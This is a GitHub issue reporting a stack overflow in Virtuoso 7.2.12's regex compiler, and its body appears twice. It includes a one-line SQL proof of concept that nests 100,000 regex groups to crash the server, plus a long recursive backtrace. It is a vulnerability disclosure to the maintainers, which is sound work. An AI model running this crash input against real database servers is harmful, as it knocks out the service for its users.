Virtuoso 7.2.12 stack overflows at `compile_regex`.

PoC:
```sql
SELECT REGEXP_LIKE('A', REPEAT('(?i)(?:', 100000));
```

Backtrace:
```
#0 0xf0e308 (compile_regex+0x18)
#1 0xf14745 (compile_branch+0x45b5)
#2 0xf0e573 (compile_regex+0x283)
#3 0xf14745 (compile_branch+0x45b5)
#4 0xf0e573 (compile_regex+0x283)
#5 0xf14745 (compile_branch+0x45b5)
#6 0xf0e573 (compile_regex+0x283)
#7 0xf14745 (compile_branch+0x45b5)
#8 0xf0e573 (compile_regex+0x283)
...
#1433 0xf14745 (compile_branch+0x45b5)
#1434 0xf0e573 (compile_regex+0x283)
#1435 0xf14745 (compile_branch+0x45b5)
#1436 0xf0e573 (compile_regex+0x283)
#1437 0xf0dc1d (virtpcre_compile2+0x82d)
#1438 0xc55acd (get_compiled_regexp+0xbd)
#1439 0xc56459 (bif_regexp_match+0x269)
#1440 0x755674 (ins_call_bif+0xc4)
#1441 0x763539 (code_vec_run_1+0xdf9)
#1442 0x7b9841 (qn_input+0x3c1)
#1443 0x7cda7a (qr_subq_exec+0x94a)
#1444 0x756631 (ins_call+0xc91)
#1445 0x758020 (ins_call_vec+0x320)
#1446 0x75b835 (code_vec_run_v+0xa25)
#1447 0x7b980f (qn_input+0x38f)
#1448 0x7b9cb6 (qn_send_output+0x236)
#1449 0x82c49d (set_ctr_vec_input+0x99d)
#1450 0x7b984e (qn_input+0x3ce)
#1451 0x7cb03b (qr_exec+0x11db)
#1452 0x7d89d6 (sf_sql_execute+0x11a6)
#1453 0x7d94de (sf_sql_execute_w+0x17e)
#1454 0x7e219d (sf_sql_execute_wrapper+0x3d)
#1455 0xe2aa3c (future_wrapper+0x3fc)
#1456 0xe3233e (_thread_boot+0x11e)
#1457 0x7fd5cc227609 (start_thread+0xd9)
#1458 0x7fd5cbff7353 (clone+0x43)
```
Virtuoso 7.2.12 stack overflows at `compile_regex`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Virtuoso 7.2.12 stack overflows at `compile_regex`
Issue date:

--- start body ---
Virtuoso 7.2.12 stack overflows at `compile_regex`.

PoC:
```sql
SELECT REGEXP_LIKE('A', REPEAT('(?i)(?:', 100000));
```

Backtrace:
```
#0 0xf0e308 (compile_regex+0x18)
#1 0xf14745 (compile_branch+0x45b5)
#2 0xf0e573 (compile_regex+0x283)
#3 0xf14745 (compile_branch+0x45b5)
#4 0xf0e573 (compile_regex+0x283)
#5 0xf14745 (compile_branch+0x45b5)
#6 0xf0e573 (compile_regex+0x283)
#7 0xf14745 (compile_branch+0x45b5)
#8 0xf0e573 (compile_regex+0x283)
...
#1433 0xf14745 (compile_branch+0x45b5)
#1434 0xf0e573 (compile_regex+0x283)
#1435 0xf14745 (compile_branch+0x45b5)
#1436 0xf0e573 (compile_regex+0x283)
#1437 0xf0dc1d (virtpcre_compile2+0x82d)
#1438 0xc55acd (get_compiled_regexp+0xbd)
#1439 0xc56459 (bif_regexp_match+0x269)
#1440 0x755674 (ins_call_bif+0xc4)
#1441 0x763539 (code_vec_run_1+0xdf9)
#1442 0x7b9841 (qn_input+0x3c1)
#1443 0x7cda7a (qr_subq_exec+0x94a)
#1444 0x756631 (ins_call+0xc91)
#1445 0x758020 (ins_call_vec+0x320)
#1446 0x75b835 (code_vec_run_v+0xa25)
#1447 0x7b980f (qn_input+0x38f)
#1448 0x7b9cb6 (qn_send_output+0x236)
#1449 0x82c49d (set_ctr_vec_input+0x99d)
#1450 0x7b984e (qn_input+0x3ce)
#1451 0x7cb03b (qr_exec+0x11db)
#1452 0x7d89d6 (sf_sql_execute+0x11a6)
#1453 0x7d94de (sf_sql_execute_w+0x17e)
#1454 0x7e219d (sf_sql_execute_wrapper+0x3d)
#1455 0xe2aa3c (future_wrapper+0x3fc)
#1456 0xe3233e (_thread_boot+0x11e)
#1457 0x7fd5cc227609 (start_thread+0xd9)
#1458 0x7fd5cbff7353 (clone+0x43)
```
--- end body ---
